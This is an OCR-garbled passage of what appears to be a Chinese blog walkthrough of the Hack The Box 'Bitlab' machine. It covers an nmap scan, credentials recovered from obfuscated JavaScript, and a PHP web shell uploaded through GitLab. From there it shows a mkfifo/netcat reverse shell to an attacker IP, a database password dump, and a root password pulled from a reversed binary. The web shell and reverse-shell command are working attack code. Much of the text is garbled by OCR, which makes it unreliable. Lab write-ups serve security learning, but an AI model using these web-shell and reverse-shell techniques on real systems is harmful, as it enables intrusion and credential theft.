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0x1 nmapf3 #i

i i nmap$ 4 :



# Nmap 7.80 scan initiated Sat Jan 11 19:35:50 2020 as: nmap -sVTC -o scan -pl-65535 bitlab.htb
Nmap scan report for bitlab.htb (10.10.10.114)

Host is up (©.30s latency).

Not shown: 65533 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 a2:3b:b0:dd:28:91:bf:e8:19:30:82:31:23:2f:92:18 (RSA)

| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

| _ 256 ¢9:54:3d:91:01:78:03:ab:16:14:6b:cc:f@:b7:3a:55 (ED25519)

80/tcp open http nginx

| http-robots.txt: 55 disallowed entries (15 shown)

| / /autocomplete/users /search /api /admin /profile

| /dashboard /projects/new /groups/new /groups/*/edit /users /help

| _/s/ /snippets/new /snippets/*/edit

| http-title: Sign in \xC2\xB7 GitLab

| _Requested resource was http://bitlab.htb/users/sign_in

| _http-trane-info: Problem with XML parsing of /evox/about

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 11 19:52:44 2020 -- 1 IP address (1 host up) scanned in 1013.69 seconds
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A Signin- GitLab x | +
<« c @ (@ £ bitlab.htb/users/sign_in
"%, Kali Linux &, Kali Training ‘e Kali Tools ' KaliDocs & Kali Forums “ NetHunter [l Offensive Security # Exploit-DB = GHDB [FiMSFU
GitLab Community Edition Signin

Open source software to collaborate on code Username or email

This connection is not secure. Logins entered
here could be compromised. Learn More

Remember me Forgot your password?

Bk, i ftusernamefiipasswd. I I E
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& Bookmarks X | & bitlab.htb/profile/shellpl X | & EE—TF , {REA0iE x |+

(€)= C @ @ bitlab.htb/help/bookmarks.html
%, Kali Linux “e KaliTraining & Kali Tools “e KaliDocs “s Kali Forums “e NetHunter [l Offensive Sec

Bookmarks

Bookmarks bar

Hack The Box :: Penetration Testing Labs
Enterprise Application Container Platform | Docker
PHP: Hypertext Preprocessor

Node.js

Gitlab Login

A i KL A gitlab Login/s TUIBCA BB, M2 th—Bjs -

function(){var _@x4b18=[&quot;\x76\x61\x6C\x75\x65&quot ; ,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot; , &q
uot; \x67\x65\x74\x45\x6C\x65\x6D\x65\X6E\x74\x42\x79\x49\x64&quot; , &quot; \x63\x6C\x61\x76\x65&quot; ,&quot; \x75\x
73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot; ,&quot; \x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot; | ;docum
ent[_0Ox4b18[2]](_0x4b18[1])[_Ox4b18[0]]= _Ox4b18[3];document| Ox4b18[2]](_Ox4b18[4])[_0x4bl8[0]]= _0x4b18[5]; })
o"

’SLI‘IEQ‘FE, EU:

function(){

var _0x4b18=["\x76\x61\x6C\x75\x65",
"\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E" ,
"\x67\x65\x74\x45\x6C\x65\x6D\x65\X6E\x74\x42\x79\x49\x64" ,
"\x63\x6C\x61\x76\x65",
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64",
"\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
document|_Ox4b18[2]](_0x4b18[1])[_0x4b18[0]|= _0x4b18[3];
document|_0x4b18[2]](_0x4b18[4])[_0x4b18[0] = _0x4bl18[5]; }
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> var _Bxdbl8=["\x76\x61\xbC\x75\xB5",

S -

AT SN RT3\ xB S\ T 2\ x5SR\ 6O\ xB P\ x6 7\ 269\ x6E"
"B T AXBSN X T AN\ x5\ x6C X655\ xb D\ 65\ X6 E \ 7 AN\ xd 2\ x 79\ 249\ x64" |
"\x63\xbCh\xb1\ %70\ x65"

1) . 1) . 1) »
AT ST 3N KBS\ KT 2N\ SR\ XT BN\ 1\ 27 3\ 27 3N\ 7 T\ B R\ x 72\ 64",
"Wx31\x31\xB4\ X655\ x7 I\ X3\ x30\x38\x31\x78" ];

undefined
> Bxdbl8

» (6) ["value”, "user_login", "getElementById", "clave”, "user_ password", "1ldes0881x"]

FIT AR 4T Restclave, %19 /211des0081x, & B [l Ftiin, b Dl o

@ bitlab.htb/projects/new
(ali Tools S KaliDocs % KaliForums “e NetHunter [l Offensive Security # Exploit-DB & GHDB [l MSFU

v~  Activity Milestones  Snippets v

New PrOJ ect Blank project Create from template mport
Aproject is where you house your files
(repository), plan your work (issues), and

Project
publish your documentation (wiki}), among rojectname
other things. pMy awesome project
All features are enabled for bLan\.< projects, Project URL Project slug
from templates, or when importing, but you
can disable them afterward in the project http://bitlab.htb/clave/ my-awesome-project

it .
setuings Project description (optional)

Tip: You can also create a project from the

) Description format
command line. Show command

EREiTh G, fEprojects T I £ 74N H

B} ® bitlab.htb/dashboard/projects
. Kali Training S Kali Tools “e KaliDocs “ KaliForums “ NetHunter [l Offensive Security # Exploit-DB = GHDB [l MSF

AGCIESERE Groups ~  Activity  Milestones  Snippets

You pushed to test-deployat Administrator [ Profile 1 minute ago

Projects
Your projects  Starred projects  Explore projects

All  Personal
{.Tf,.\'.._\ Administrator [ Profile Developer

# Administrator / Deployer Reporter



#EAprofileil H i, AIATLAHETEAN Ak, BHEEERE,

Profile & o & Star 0 Y Fork ©

0’.‘ Project ID: 2 | Leave project SSH

2 No license. All rights reserved  -0- 45 Commits ¥ 5Branches ¢? 0Tags [} 655KB Files

master profile | + ~ History @ Findfile WebIDE & ~
o Merge branch 'patch-19' into 'master’ 33aboads
Developer authored 38 minutes ago

® README Auto DevOps enabled

Mame Last commit Last update
[8) README.md Fix title lyear ago
] developer.jpg Profile avatar 1yearago
[31 index.php Update index.php 56 minutes ago

PrLZ2i 5 N —4php AR

(@ bitlab.htb/root/profile/blobfmaster/shell.php
@aliTools “ KaliDocs e Kali Forums “ MetHunter [l Offensive Security = Exploit-DB = GHDB Jlf MSFU

Milestones  Snippets

Administrator > s« Profile * Repository

master profile | shell.php
o Update shell.php
Developer authored 2 minutes ago

[ shell.php 156 Bytes @
<?php

ifl(isset(s REQUEST['cmd'1)){
echo "=pre=";
$cmd = ($_REQUEST['cmd'1);
system({scmd) ;
echo "</pre=";
die;

MRS, .

A shell.php - master - Admi X | & bitlab.htb/profile/shell.pl x | +

(&« > Q@ (@ bitlab.htb/profile/shell.php?cmd=whoami



%, KaliLinux “e KaliTraining % KaliTools “ KaliDocs “ Kali Forums “e NetHunter [l Offen:

www-data

K shell

http://bitlab.htb/profile/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmk{ifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff |%2Fbin%2Fsh%20-
i%202%3E%261|nc%2010.10.xx . xx%201337%20%3E%2Ftmp%2Ff

:bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.77] from (UNKNOWN) [10.10.10.114] 47160
/bin/sh: 0: can't access tty; job control turned off
$ 1s
README . md
developer.jpg
index.php
livinl
livin2.php
shell.php
shisan.php
$ python -c "import pty;pty.spawn('/bin/bash"')"

www-data@bitlab: /var/www/html/profiles
www-data@bitlab:/var/www/html/profiles [}
https://blog.csdn.net/

0x3 own user



N Fhomel/clave H 3% T I 5 KB AT LR H FI{E B

www-data@bitlab: /home/claves 1ls -al
1s -al
total 44
drwxr-xr-x clave clave 4096 Aug

root root 9 Feb .bash _history -> /dev/null
clave clave 3771 Feb .bashrc

clave clave 4096 Aug 4:40 .cache

clave clave 4096 Aug 4 .gnupg

clave clave 807 Feb .profile

clave clave 13824 Jul : RemoteConnection.exe

clave clave 33 Feb 19 user, txt
www-data@bitlab:/home/claves |} htips.//blog.cs

L rwx rwxrwx
-rw-r--r--

_.:]_

drwxr-xr-x 3 root root 4096 Feb
1
1

[e 8030 B8 HH 4K 22 T 4R A5 2 . fEgitlab/snippets KR — N dbZEFEAE o JHI R BEAE R A7k 1 clave i I RS .

lilestones  Snippets

& Authored 10 months ago by Developer Edit New snippet
Postgresql
B 164Bptes @ b B X

$db_connection = pg_connect("host=1localhost dbname=profiles user=profiles password=profiles");
sresult = pg_query($db_connection, "SELECT * FROM profiles");

FEREHL AT php A2 EL 5

php > = new PDO( 'pgsql:host=1localhost;dbname=profiles’, ‘profiles', ‘profiles’
php > = ->query ("SELECT * FROM profiles"
php > = ->fetchAll
php > print_r
Array
0] => Array
id] => 1
0] => 1

username| => clave

1] => clave

password| => c3NoLXNOcjBuZylwQHNz==
2] => c3NoLXNOcjBuzZylwQHNz==

php >



php > s$connection = new PDO{'pgsql:hostzlécalhost;dbnamezprafiles', ‘profiles’, 'profiles');
sconnection = new PDO('pgsgl:host=1localhost;dbname=profiles', 'profiles', 'profiles');
php > sresult = $connection->query("SELECT * FROM profiles");

$result = $connection->query("SELECT * FROM profiles");
php = $profiles = $result-=fetchAll();

sprofiles = sresult->fetchAll();

php = print _r($profiles);

BEHHEEE

php > print r(s$profiles});
print _r($profiles);
Array
(
[@] => Array
(
[id] == 1
[6] == 1
[username] => clave
[1] == clave
[password] => c3NoLXNOcjBuZylwQHNz==
[2] == c3NoLXNOcjBuZylwQHNz==

https://blog.csdn.ne

32 clave H 7 #0Y (iX BLAS 7% B X HiE{Tbase64 @)
ssh& kI A A Flluser.txt

:bitlab# ssh clave@bitlab.htb
clave@bitlab.htb's password:
Last login: Sun Jan 12 05:07:45 2020 from 10.10.15.80
clave@bitlab:~% cd ~
clave@bitlab:~% 1s
remote RemoteConnection.exe user.txt
clave@bitlab:~% cat user.txt
le3fd8I
clave@bitlab:~$ |

https://blog.csdn.net/n
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fEclave H 3¢ N & ELH —/"Remoteconnection.exe, RANT-# . ¥IL NG Hidadrtr, fEmaineg$h BN ~1E B
57| if ( < Bxl@ )
5 = (void }& H
59| for (1 = (WC F)v3; = (void **)v5; ++1 )
60| {
6 *1 = *(char *)vé;
62 = {void **)({cha Jve + 1);
63| }
64 [v25] = @;
65 if ( == L"cldve" )
66 Shellkxecutel(®, L"open", L"C:\\Program Files\\PuTTY\\putty.exe", , B, 18);
67| else
68 sub_401C20(std: :cout); [/ access denied
69| if ( >= 0x10 )
78 operator delete( );
71 = 15;
72 = 0;
73| LOBYTE(v24) = @;
74 if ( >= Bx10 )
75 operator delete((void *) );
76 = 15;

00000447 _main:B5 (401847)

inHtlpBuffer==clave, NI$ 17 ShellExecuteW e %,
frrootH F B .
H i1 +iX HIpbuffer N4 F-clave, NIFE A< 1Tshellpk

o E FHputtyf2 /7. puttyFe 7 & FOR T im FE &8 0, B UG I ] /82 H ok itk

¥, BTLLAR SN HE 4T patchf& i
FlodfTH, &fkclave 74

- - - [ —

e »u] s 4] 24 o] ol 1]em|efw]b]c]p[k|b]x]..] T E[EI7]

UNICODE
NICODE

NICODE

Wi B T E . AR A, Hiht0x00B51647 4k Hjnzis & 1= HIBkEs, # A%5 Tclave, NIBkFI0x00B516624t . Kt

0x00B51647 b [4E A M Njz .. )5, FEFE AT ShellExecute W ek 41«

Ziax] »ju| sijH 4 4l s
00B51628 66:8FBE39 movsx

B0B5162C 66:893n mnov

B0B5162F 41 inc ecx

B0B51630 83C2 02 add edx,

80B51633 3BCE cmp ecx,esi
B0B51635 75 F1 ilifs short remoteco.80B51628
80B51637 8B55 EN mov edx ,[lULdl 7]

BBB5163A 33C9 X0r ecx,ec’

BOB5163C 66:890C50 nov sCH
B0B51640 817D 98 D831lcmp [local.26],remoteco.00B531D8
BOB51647 75 19

B0B51649 6A BA

0BB5164B 33DB xor ebx,ebx

BOB5164D 53 ebx

e 1| e|m| t|w|h|c|P|k|b]z]..|s] iE

=]

I

UNICODE "clave™
IsShown = A (10.)

DefDir = HULL

BOB5164E
BOB5164F
BOB51654
BBB51659

A8B5165A

58
68 E831B588
68 2C32B588
53
FF15 8831B5A@

eax
remoteco.ABB531E8
remoteco.B88B5322C
ebx

Parameters =

"-ssh root@gitlab.htb -pw "Qf
FileName = "C:\Program Files\PuTTY\putty.&

Operation =
hind = HNULL

"Elpf_‘l'l"



BOB51662 La1 6c3085088 | mov eax,

5166? 58 eax

M iZ g ST MG, FRER A, R ia1T3ShelExecute Wk 5L, I 1] LUE FParameters{Z 5, 41 K.

00B51628 66 : OFBE39 mousx di,

80B5162C|| . 66:893A mov

80B5162F || . 41 inc

86B516308|| . 83C2 82 EL

80B51633|| . 3BCE cmp

88B51635|| .~ 75 F1 iz short remoteco.B88B51628

88B51637 8B55 E4 mov edx,[local.7]

00B5163A|| . 33C9 ®or ,BCH

80B5163C|| . 66:890C580 nou ,CX

80B516408|| . 817D 98 D831|cmp [local.26],remoteco.@BB531D8 | UNICODE “clave"

80B51647 19

80B51642|] . 6A BA IsShown = A (10.)

80B5164B|| . 33DB

8eB5164D|| . 53 DefDir = HULL

BOB5164E|| . 58 Parameters = "-ssh root@gitlab.htb -pw "Qf7]8YSU.uDHNF*[
80B5164F || . 68 E831B560 remoteco.80B531E8 FileName = "C:\Program Files\PuTTY¥\putty.exe"
88B51654)| . 68 2C32B508 remoteco.88B5322C Operation = "open"

808B51659|] . 53 ebx hind = HNULL

B0B5165A FF15 B8831B58|call

88B51668|| ., EB 18 short remoteco.B88B51672

80B51662 A1 6C38B5080 |mov eax, i e
B0B51667|] . 58 eax :

TR BA A2 AT sshE R B35 . I B3 T 5 5%, FHroot flag.

:bitlab# ssh root@bitlab.hth
root@bitlab.htb's password:
Last login: Fri Sep 13 14:11:14 2019
root@bitlab:~# 1s

root.txt

root@bitlab:~# cat root txt
8d4 "~ TTToTT oo T
root@bitlab:~# |



https://0xdf.gitlab.io/2020/01/11/htb-bitlab.html
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